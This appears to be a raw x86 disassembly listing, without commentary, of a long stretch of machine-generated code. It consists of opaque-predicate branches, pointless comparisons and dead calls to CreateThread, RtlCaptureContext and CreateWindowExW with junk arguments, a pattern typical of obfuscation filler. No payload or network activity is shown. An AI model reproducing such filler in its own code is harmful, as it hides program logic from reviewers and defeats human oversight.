mov eax, dword [ebp - 0x10]
cmp dword [ebp - 0x10], eax
jge 0x45befb
cmp dword [ebp - 0x10], 0
je 0x45befb
mov dword [ebp - 0x17e4], 1
jmp 0x45bf02
and dword [ebp - 0x17e4], 0
mov eax, dword [ebp - 0x10]
cmp dword [ebp - 0x17e4], eax
jge 0x45bf19
mov dword [ebp - 0x17ec], 1
jmp 0x45bf20
and dword [ebp - 0x17ec], 0
mov eax, dword [ebp - 0x17ec]
mov dword [ebp - 0x43c], eax
cmp dword [ebp - 0x10], 0xffffffff
jb 0x45bf3e
mov dword [ebp - 0x17f4], 1
jmp 0x45bf45
and dword [ebp - 0x17f4], 0
mov eax, dword [ebp - 0x10]
cmp dword [ebp - 0x17f4], eax
je 0x45bf5f
cmp dword [ebp - 0x10], 0
jne 0x45bf5f
and dword [ebp - 0x17fc], 0
jmp 0x45bf69
mov dword [ebp - 0x17fc], 1
cmp dword [ebp - 0x17fc], 1
jne 0x45bf83
or eax, 0xffffffff
je 0x45bf83
mov dword [ebp - 0x1804], 1
jmp 0x45bf8a
and dword [ebp - 0x1804], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x2298]
cmp dword [ebp - 0x1804], eax
jge 0x45bfaa
mov dword [ebp - 0x180c], 1
jmp 0x45bfb1
and dword [ebp - 0x180c], 0
cmp dword [ebp - 0x180c], 0x60813c27
jge 0x45bfc9
mov dword [ebp - 0x1814], 1
jmp 0x45bfd0
and dword [ebp - 0x1814], 0
mov eax, dword [ebp - 0x10]
cmp dword [ebp - 0x1814], eax
jge 0x45bfe7
mov dword [ebp - 0x181c], 1
jmp 0x45bfee
and dword [ebp - 0x181c], 0
mov eax, dword [ebp - 0x10]
cmp dword [ebp - 0x181c], eax
jge 0x45c005
mov dword [ebp - 0x2404], 1
jmp 0x45c00c
and dword [ebp - 0x2404], 0
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x3010], eax
cmp dword [ebp - 0x10], 0xffff
je 0x45c02a
mov dword [ebp - 0x1824], 1
jmp 0x45c031
and dword [ebp - 0x1824], 0
imul eax, dword [ebp - 0x1824], 3
cmp eax, dword [ebp - 0x10]
jle 0x45c056
mov dword [ebp - 0x240c], 0xffffffff
mov dword [ebp - 0x240c], 0x867a7bf7
jmp 0x45c0e3
mov dword [ebp - 0x182c], 0x9ebe
mov dword [ebp - 0x10], 0xc
jmp 0x45c070
mov eax, dword [ebp - 0x10]
dec eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xfffffff4
jg 0x45c0b8
mov dword [ebp - 0x43c], 0
jmp 0x45c08f
mov eax, dword [ebp - 0x43c]
inc eax
mov dword [ebp - 0x43c], eax
cmp dword [ebp - 0x43c], 4
jge 0x45c0ab
mov eax, dword [ebp - 0x43c]
mov dword [ebp + eax*4 - 0x2298], 0x8169
jmp 0x45c082
cmp dword [ebp - 0x182c], 0
je 0x45c0b6
jmp 0x45c069
jmp 0x45c069
mov eax, dword [ebp - 0x182c]
mov dword [ebp - 0x1834], eax
push 4
pop eax
imul eax, eax, 3
mov ecx, dword [ebp - 0x1834]
mov dword [ebp + eax - 0x2b6c], ecx
mov eax, dword [ebp - 0x1834]
mov dword [ebp - 0x444], eax
mov dword [ebp - 0x10], 0xffffffe9
jmp 0x45c0f3
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffee
jle 0x45c56a
mov dword [ebp - 0x183c], 0xba8a7e8b
mov dword [ebp - 0x9f8], 1
mov dword [ebp - 0x186c], 0xfef2
mov dword [ebp - 0x7a8], 0xffffffff
mov dword [ebp - 0x7a0], 0
jmp 0x45c13e
mov eax, dword [ebp - 0x7a0]
inc eax
mov dword [ebp - 0x7a0], eax
cmp dword [ebp - 0x7a0], 4
jge 0x45c15a
mov eax, dword [ebp - 0x7a0]
mov dword [ebp + eax*4 - 0x21f4], 0x1939efd9
jmp 0x45c131
or eax, 0xffffffff
je 0x45c30e
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x30ac], eax
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x2298]
mov dword [ebp - 0x30b4], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2328]
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x2b6c]
push 4
pop edx
shl edx, 0
sub ecx, dword [ebp + edx - 0x2328]
sub eax, ecx
imul eax, eax, 0xfffffffb
mov dword [ebp - 0x183c], eax
mov eax, dword [ebp - 0x183c]
cmp dword [ebp - 0x444], eax
jle 0x45c1ca
mov dword [ebp - 0x1844], 1
jmp 0x45c1d1
and dword [ebp - 0x1844], 0
mov eax, dword [ebp - 0x1844]
mov dword [ebp - 0x9f8], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x21f4]
cmp dword [ebp - 0x9f8], eax
je 0x45c1fe
mov dword [ebp - 0x184c], 1
jmp 0x45c205
and dword [ebp - 0x184c], 0
mov eax, dword [ebp - 0x184c]
mov dword [ebp - 0xa00], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x21f4]
cmp dword [ebp - 0xa00], eax
jle 0x45c232
mov dword [ebp - 0x1854], 1
jmp 0x45c239
and dword [ebp - 0x1854], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x1854]
sub ecx, dword [ebp + eax - 0x21f4]
push 4
pop eax
shl eax, 0
cmp ecx, dword [ebp + eax - 0x21f4]
je 0x45c267
mov dword [ebp - 0x185c], 1
jmp 0x45c26e
and dword [ebp - 0x185c], 0
mov eax, dword [ebp - 0x185c]
mov dword [ebp - 0x444], eax
cmp dword [ebp - 0x444], 0xfffa
jbe 0x45c2a2
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x21f4], 0
je 0x45c2a2
mov dword [ebp - 0x9f0], 1
jmp 0x45c2a9
and dword [ebp - 0x9f0], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x9f0]
mov dword [ebp + eax - 0x2b6c], ecx
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x21f4]
cmp dword [ebp - 0x9f0], eax
jl 0x45c2e6
mov eax, 0x29ef
test eax, eax
je 0x45c2e6
mov dword [ebp - 0x1864], 1
jmp 0x45c2ed
and dword [ebp - 0x1864], 0
mov eax, dword [ebp - 0x1864]
mov dword [ebp - 0x186c], eax
cmp dword [ebp - 0x186c], 0
je 0x45c30e
mov dword [ebp - 0x1874], 1
jmp 0x45c315
and dword [ebp - 0x1874], 0
cmp dword [ebp - 0x1874], 0xffffffff
jg 0x45c32a
mov dword [ebp - 0x187c], 1
jmp 0x45c331
and dword [ebp - 0x187c], 0
push 4
pop eax
imul eax, eax, 3
mov ecx, dword [ebp - 0x187c]
mov dword [ebp + eax - 0x21f4], ecx
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x2b6c], 0
je 0x45c4ed
mov dword [ebp - 0x444], 0xffffffff
mov eax, dword [ebp - 0x444]
mov dword [ebp - 0x308c], eax
mov eax, dword [ebp - 0x9f8]
cmp dword [ebp - 0x2414], eax
jle 0x45c388
mov dword [ebp - 0x1884], 1
jmp 0x45c38f
and dword [ebp - 0x1884], 0
mov eax, dword [ebp - 0x7a8]
cmp dword [ebp - 0x1884], eax
je 0x45c3a9
mov dword [ebp - 0x188c], 1
jmp 0x45c3b0
and dword [ebp - 0x188c], 0
mov eax, dword [ebp - 0xa00]
cmp dword [ebp - 0x188c], eax
jl 0x45c3ca
mov dword [ebp - 0x1894], 1
jmp 0x45c3d1
and dword [ebp - 0x1894], 0
cmp dword [ebp - 0x1894], 0
jb 0x45c3e6
mov dword [ebp - 0x189c], 1
jmp 0x45c3ed
and dword [ebp - 0x189c], 0
mov eax, dword [ebp - 0x7a8]
add eax, dword [ebp - 0x189c]
jne 0x45c409
or eax, 0xffffffff
jne 0x45c409
and dword [ebp - 0x18a4], 0
jmp 0x45c413
mov dword [ebp - 0x18a4], 1
mov eax, dword [ebp - 0x7a8]
cmp dword [ebp - 0x18a4], eax
jle 0x45c42d
mov dword [ebp - 0xa08], 1
jmp 0x45c434
and dword [ebp - 0xa08], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xa08]
mov dword [ebp + eax - 0x21f4], ecx
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2328]
cmp dword [ebp - 0xa08], eax
jle 0x45c468
mov dword [ebp - 0x18d4], 1
jmp 0x45c46f
and dword [ebp - 0x18d4], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x2298]
cmp dword [ebp - 0x18d4], eax
jne 0x45c48f
mov dword [ebp - 0x241c], 1
jmp 0x45c496
and dword [ebp - 0x241c], 0
mov eax, dword [ebp - 0x7a8]
mov dword [ebp - 0x3228], eax
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
shl ecx, 0
mov ecx, dword [ebp + ecx - 0x2328]
cmp dword [ebp + eax - 0x21f4], ecx
je 0x45c4ca
mov dword [ebp - 0x2424], 1
jmp 0x45c4d1
and dword [ebp - 0x2424], 0
mov eax, dword [ebp - 0x18e4]
mov dword [ebp - 0x3030], eax
xor eax, eax
jne 0x45c4ed
mov dword [ebp - 0x18dc], 1
jmp 0x45c4f4
and dword [ebp - 0x18dc], 0
mov eax, dword [ebp - 0x18dc]
sub eax, 0x87
push 4
pop ecx
shl ecx, 0
cmp eax, dword [ebp + ecx - 0x2328]
jne 0x45c51a
mov dword [ebp - 0x242c], 1
jmp 0x45c521
and dword [ebp - 0x242c], 0
mov eax, dword [ebp - 0x18e4]
mov dword [ebp - 0x33d0], eax
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x2298], 0xdae5
jge 0x45c54b
mov dword [ebp - 0x18ec], 1
jmp 0x45c552
and dword [ebp - 0x18ec], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x18ec]
mov dword [ebp + eax - 0x2b6c], ecx
jmp 0x45c0ec
mov dword [ebp - 0x18fc], 1
mov dword [ebp - 0x18f4], 0xffffffff
mov dword [ebp - 0x3038], 0xffffffff
mov dword [ebp - 0xa20], 0
mov dword [ebp - 0xa18], 0xb4746a1c
mov dword [ebp - 0x7b0], 0x47bb7ab6
mov dword [ebp - 0xa10], 0xc28cae2f
mov dword [ebp - 0x243c], 2
mov dword [ebp - 0x50], 0
jmp 0x45c5ca
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 3
jge 0x45c5e0
mov eax, dword [ebp - 0x50]
mov dword [ebp + eax*4 - 0x3534], 8
jmp 0x45c5c3
mov dword [ebp - 0x50], 0
jmp 0x45c5f0
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 3
jge 0x45c606
mov eax, dword [ebp - 0x50]
mov dword [ebp + eax*4 - 0x2bc0], 0xc0e3e763
jmp 0x45c5e9
mov dword [ebp - 0x50], 0
jmp 0x45c616
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 1
jge 0x45c62c
mov eax, dword [ebp - 0x50]
mov dword [ebp + eax*4 - 0x244c], 0xa2e71cc
jmp 0x45c60f
mov dword [ebp - 0x18f4], 0x44d5
mov eax, dword [ebp - 0xa10]
inc eax
mov dword [ebp - 0xa10], eax
mov eax, dword [ebp - 0xa10]
cmp dword [ebp - 0x18f4], eax
jge 0x45c65d
mov dword [ebp - 0x190c], 1
jmp 0x45c664
and dword [ebp - 0x190c], 0
mov dword [ebp - 0x18fc], 0x526d2e85
mov eax, dword [ebp - 0x18fc]
mov dword [ebp - 0x1904], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x1904]
mov dword [ebp + eax - 0x3534], ecx
mov eax, dword [ebp - 0x1904]
cmp eax, dword [ebp - 0x190c]
jg 0x45c6a7
mov dword [ebp - 0x191c], 1
jmp 0x45c6ae
and dword [ebp - 0x191c], 0
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x2bc0], 0
jne 0x45c704
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x7b0]
cmp dword [ebp + eax - 0x2bc0], ecx
je 0x45c6df
mov dword [ebp - 0x1914], 1
jmp 0x45c6e6
and dword [ebp - 0x1914], 0
mov eax, dword [ebp - 0x1914]
mov dword [ebp - 0x7b0], eax
cmp dword [ebp - 0x7b0], 0
jne 0x45c704
and dword [ebp - 0x2434], 0
jmp 0x45c70e
mov dword [ebp - 0x2434], 1
mov eax, dword [ebp - 0xa20]
mov dword [ebp - 0x3230], eax
mov eax, dword [ebp - 0x7b0]
mov dword [ebp - 0x3040], eax
mov eax, dword [ebp - 0x243c]
imul eax, dword [ebp - 0xa18]
add eax, dword [ebp - 0xa18]
jne 0x45c742
cmp dword [ebp - 0xa20], 0
cmp dword [ebp - 0x191c], 1
je 0x45c757
mov dword [ebp - 0x1924], 1
jmp 0x45c75e
and dword [ebp - 0x1924], 0
mov eax, dword [ebp - 0xa18]
cmp dword [ebp - 0x1924], eax
jl 0x45c778
mov dword [ebp - 0x2444], 1
jmp 0x45c77f
and dword [ebp - 0x2444], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x244c]
mov dword [ebp - 0x3310], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2bc0]
mov dword [ebp - 0xa20], eax
mov dword [ebp - 0xec], 0xffffffff
mov dword [ebp - 0x192c], 0xf8b243e5
mov dword [ebp - 0x3048], 0x2e6
mov dword [ebp - 0x570], 0
jmp 0x45c7dc
mov eax, dword [ebp - 0x570]
inc eax
mov dword [ebp - 0x570], eax
cmp dword [ebp - 0x570], 1
jge 0x45c7f8
mov eax, dword [ebp - 0x570]
mov dword [ebp + eax*4 - 0x500], 0xffffffff
jmp 0x45c7cf
mov dword [ebp - 0xec], 0xfffffffa
jmp 0x45c811
mov eax, dword [ebp - 0xec]
dec eax
mov dword [ebp - 0xec], eax
cmp dword [ebp - 0xec], 0xffffffe6
jne 0x45c9cd
mov dword [ebp - 0x1944], 0x4d1454bc
mov dword [ebp - 0x2464], 0x1718bc69
mov dword [ebp - 0x2b84], 0x44fa3fda
mov dword [ebp - 0x2b80], 0x44fa3fda
mov dword [ebp - 0x2b7c], 0x44fa3fda
mov dword [ebp - 0x2b78], 0x44fa3fda
mov dword [ebp - 0x574], 0
jmp 0x45c873
mov eax, dword [ebp - 0x574]
inc eax
mov dword [ebp - 0x574], eax
cmp dword [ebp - 0x574], 2
jge 0x45c88f
mov eax, dword [ebp - 0x574]
mov dword [ebp + eax*4 - 0x2fe8], 1
jmp 0x45c866
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x500], 0
je 0x45c978
mov eax, dword [ebp - 0xec]
add eax, 0x19e87f12
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0x500]
jne 0x45c8c9
mov dword [ebp - 0xa28], 1
jmp 0x45c8d0
and dword [ebp - 0xa28], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xa28]
mov dword [ebp + eax - 0x2fe8], ecx
cmp dword [ebp - 0xa28], 0x5943
jle 0x45c8fb
mov dword [ebp - 0x2454], 1
jmp 0x45c902
and dword [ebp - 0x2454], 0
mov eax, dword [ebp - 0xec]
mov dword [ebp - 0x3238], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x500], 0xffffffff
jae 0x45c92a
mov dword [ebp - 0x245c], 1
jmp 0x45c931
and dword [ebp - 0x245c], 0
mov eax, dword [ebp - 0x1944]
mov dword [ebp - 0x3050], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x500]
mov dword [ebp - 0x3380], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x500]
mov dword [ebp - 0x192c], eax
cmp dword [ebp - 0x192c], 0
je 0x45c978
mov dword [ebp - 0x1934], 1
jmp 0x45c97f
and dword [ebp - 0x1934], 0
cmp dword [ebp - 0x1934], 0
jb 0x45c994
mov dword [ebp - 0x193c], 1
jmp 0x45c99b
and dword [ebp - 0x193c], 0
mov eax, dword [ebp - 0x193c]
sub eax, dword [ebp - 0x1944]
mov dword [ebp - 0x2464], eax
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x2b84]
dec eax
push 4
pop ecx
imul ecx, ecx, 3
mov dword [ebp + ecx - 0x2b84], eax
jmp 0x45c804
mov dword [ebp - 0xec], 0
jmp 0x45c9e6
mov eax, dword [ebp - 0xec]
dec eax
mov dword [ebp - 0xec], eax
cmp dword [ebp - 0xec], 0
jl 0x45ca0b
mov byte [ebp - 0x3be], 0
movzx eax, byte [ebp - 0x3be]
test eax, eax
je 0x45ca09
push 0
call dword [sym.imp.KERNEL32.dll_RtlCaptureContext]
jmp 0x45c9d9
mov dword [ebp - 0x49c], 0xcc25fa5f
mov dword [ebp - 0x498], 0xcc25fa5f
mov dword [ebp - 0x494], 0xcc25fa5f
mov dword [ebp - 0x490], 0xcc25fa5f
mov dword [ebp - 0x508], 0x403c
mov dword [ebp - 0xf4], 3
mov dword [ebp - 0x19f4], 0xaaf75d59
push 4
pop eax
shl eax, 1
push 4
pop ecx
shl ecx, 0
mov ecx, dword [ebp + ecx - 0x49c]
cmp dword [ebp + eax - 0x49c], ecx
jg 0x45ca78
mov dword [ebp - 0x1964], 1
jmp 0x45ca7f
and dword [ebp - 0x1964], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x49c]
mov dword [ebp - 0x3058], eax
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x49c]
cmp dword [ebp - 0x508], eax
jne 0x45cab2
mov dword [ebp - 0x194c], 1
jmp 0x45cab9
and dword [ebp - 0x194c], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x49c]
cmp dword [ebp - 0x194c], eax
jl 0x45cad9
mov dword [ebp - 0x1954], 1
jmp 0x45cae0
and dword [ebp - 0x1954], 0
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x49c]
imul eax, dword [ebp - 0x1954]
cmp eax, dword [ebp - 0x508]
jl 0x45cb08
mov dword [ebp - 0x195c], 1
jmp 0x45cb0f
and dword [ebp - 0x195c], 0
mov eax, dword [ebp - 0x508]
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x49c]
push 4
pop ecx
shl ecx, 1
mov ecx, dword [ebp + ecx - 0x49c]
push 4
pop edx
shl edx, 1
add ecx, dword [ebp + edx - 0x49c]
add eax, ecx
jne 0x45cb56
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x49c], 0
jne 0x45cb56
and dword [ebp - 0x196c], 0
jmp 0x45cb60
mov dword [ebp - 0x196c], 1
mov eax, dword [ebp - 0x1964]
neg eax
cmp eax, dword [ebp - 0x196c]
jg 0x45cb8b
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x49c], 0
je 0x45cb8b
mov dword [ebp - 0x1974], 1
jmp 0x45cb92
and dword [ebp - 0x1974], 0
cmp dword [ebp - 0x1974], 0
jge 0x45cba7
mov dword [ebp - 0x197c], 1
jmp 0x45cbae
and dword [ebp - 0x197c], 0
mov eax, dword [ebp - 0x197c]
mov dword [ebp - 0xf4], eax
cmp dword [ebp - 0xf4], 0
je 0x45cbd8
mov eax, 0x896e
test eax, eax
je 0x45cbd8
mov dword [ebp - 0x1984], 1
jmp 0x45cbdf
and dword [ebp - 0x1984], 0
mov eax, dword [ebp - 0x1984]
add eax, 0xbe62
je 0x45cdef
mov dword [ebp - 0x584], 0xffffffff
mov dword [ebp - 0x1994], 0x7f45a323
mov dword [ebp - 0x19b4], 0x13d46409
mov dword [ebp - 0x57c], 0
jmp 0x45cc27
mov eax, dword [ebp - 0x57c]
inc eax
mov dword [ebp - 0x57c], eax
cmp dword [ebp - 0x57c], 2
jge 0x45cc43
mov eax, dword [ebp - 0x57c]
mov dword [ebp + eax*4 - 0x2ff4], 1
jmp 0x45cc1a
mov eax, dword [ebp - 0x584]
mov dword [ebp - 0x198c], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x198c]
mov dword [ebp + eax - 0x2ff4], ecx
cmp dword [ebp - 0x198c], 0
je 0x45cc80
mov eax, 0xd221
test eax, eax
je 0x45cc80
mov dword [ebp - 0x19cc], 1
jmp 0x45cc87
and dword [ebp - 0x19cc], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x49c]
mov dword [ebp - 0x3240], eax
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x49c], 0
jne 0x45ccb4
mov dword [ebp - 0x246c], 1
jmp 0x45ccbb
and dword [ebp - 0x246c], 0
mov eax, dword [ebp - 0x584]
mov dword [ebp - 0x3060], eax
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x49c]
mov dword [ebp - 0x3318], eax
mov eax, dword [ebp - 0x584]
mov dword [ebp - 0x1994], eax
mov eax, dword [ebp - 0x584]
cmp dword [ebp - 0x1994], eax
jl 0x45ccff
mov dword [ebp - 0x199c], 1
jmp 0x45cd06
and dword [ebp - 0x199c], 0
cmp dword [ebp - 0x199c], 0xfffffff6
jae 0x45cd22
push 6
pop eax
test eax, eax
je 0x45cd22
mov dword [ebp - 0x19a4], 1
jmp 0x45cd29
and dword [ebp - 0x19a4], 0
mov eax, dword [ebp - 0x19a4]
mov dword [ebp - 0xf4], eax
cmp dword [ebp - 0xf4], 0xf7a2d47e
je 0x45cd4d
mov dword [ebp - 0x19ac], 1
jmp 0x45cd54
and dword [ebp - 0x19ac], 0
mov eax, dword [ebp - 0x19b4]
cmp dword [ebp - 0x19ac], eax
jge 0x45cd6e
mov dword [ebp - 0x19bc], 1
jmp 0x45cd75
and dword [ebp - 0x19bc], 0
mov eax, dword [ebp - 0x19b4]
cmp dword [ebp - 0x19bc], eax
jge 0x45cd8f
mov dword [ebp - 0x19c4], 1
jmp 0x45cd96
and dword [ebp - 0x19c4], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x49c]
cmp dword [ebp - 0x19c4], eax
jl 0x45cdb6
mov dword [ebp - 0x19d4], 1
jmp 0x45cdbd
and dword [ebp - 0x19d4], 0
mov eax, dword [ebp - 0x19cc]
cmp eax, dword [ebp - 0x19d4]
jg 0x45cdd7
mov dword [ebp - 0x594], 0xffffffff
mov dword [ebp - 0x249c], 0x2ac6
mov dword [ebp - 0x58c], 0
jmp 0x45ce1c
mov eax, dword [ebp - 0x58c]
inc eax
mov dword [ebp - 0x58c], eax
cmp dword [ebp - 0x58c], 1
jge 0x45ce38
mov eax, dword [ebp - 0x58c]
mov dword [ebp + eax*4 - 0x19e4], 0x9eed1686
jmp 0x45ce0f
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x49c], 0x1289665f
jge 0x45ce5c
cmp dword [ebp - 0x594], 0
jne 0x45ce5c
and dword [ebp - 0x2474], 0
jmp 0x45ce66
mov dword [ebp - 0x2474], 1
mov eax, dword [ebp - 0x594]
sub eax, 0x72c247ae
cmp eax, 0xfff6
jbe 0x45ce84
mov dword [ebp - 0xa30], 1
jmp 0x45ce8b
and dword [ebp - 0xa30], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xa30]
mov dword [ebp + eax - 0x19e4], ecx
mov eax, dword [ebp - 0x508]
cmp dword [ebp - 0xa30], eax
jl 0x45ceb8
mov dword [ebp - 0x247c], 1
jmp 0x45cebf
and dword [ebp - 0x247c], 0
mov eax, dword [ebp - 0x594]
mov dword [ebp - 0x3068], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x19e4]
sub eax, 3
mov dword [ebp - 0xf4], eax
mov eax, dword [ebp - 0xf4]
mov dword [ebp - 0x3248], eax
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x508]
cmp dword [ebp + eax - 0x49c], ecx
je 0x45cf0d
mov dword [ebp - 0x19ec], 1
jmp 0x45cf14
and dword [ebp - 0x19ec], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x49c]
cmp dword [ebp - 0x19ec], eax
jge 0x45cf35
mov dword [ebp - 0x2484], 1
jmp 0x45cf3c
and dword [ebp - 0x2484], 0
mov eax, dword [ebp - 0x19f4]
mov dword [ebp - 0x3070], eax
push 0xfffffffffffffffe
pop eax
test eax, eax
je 0x45cf7e
mov byte [ebp - 0x32d], 0
movzx eax, byte [ebp - 0x32d]
test eax, eax
je 0x45cf79
push 0
push 0x19d1
push 0
push 0
push 0x1e52
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp 0x45d0f6
mov dword [ebp - 0xa38], 0
cmp dword [ebp - 0xf4], 0
je 0x45d052
cmp dword [ebp - 0xf4], 1
jl 0x45cfaa
mov dword [ebp - 0x19fc], 1
jmp 0x45cfb1
and dword [ebp - 0x19fc], 0
cmp dword [ebp - 0x19fc], 0x4f57
jge 0x45cfcf
and dword [ebp - 0x1a14], 0
mov eax, dword [ebp - 0x594]
cmp dword [ebp - 0x1a14], eax
jg 0x45d073
mov dword [ebp - 0x2494], 1
jmp 0x45d07a
and dword [ebp - 0x2494], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x49c]
mov dword [ebp - 0x3078], eax
push 8
pop eax
test eax, eax
jne 0x45d0a5
push 0
push 0
push 0
push 0
push 0x19
push 0x64
push 0x1863b
push 0x18695
push 0x90000000
push 0xa7963c
push 0xa7963c
push 0
call dword [sym.imp.USER32.dll_CreateWindowExW]
mov dword [ebp - 0xa90], eax
mov dword [ebp - 0x3028], 0xfffb
mov dword [ebp - 0x3024], 0xfffb
mov dword [ebp - 0x3020], 0xfffb
mov dword [ebp - 0x301c], 0xfffb
mov dword [ebp - 0x59c], 0x81c2900
mov dword [ebp - 0x59c], 0
jmp 0x45d174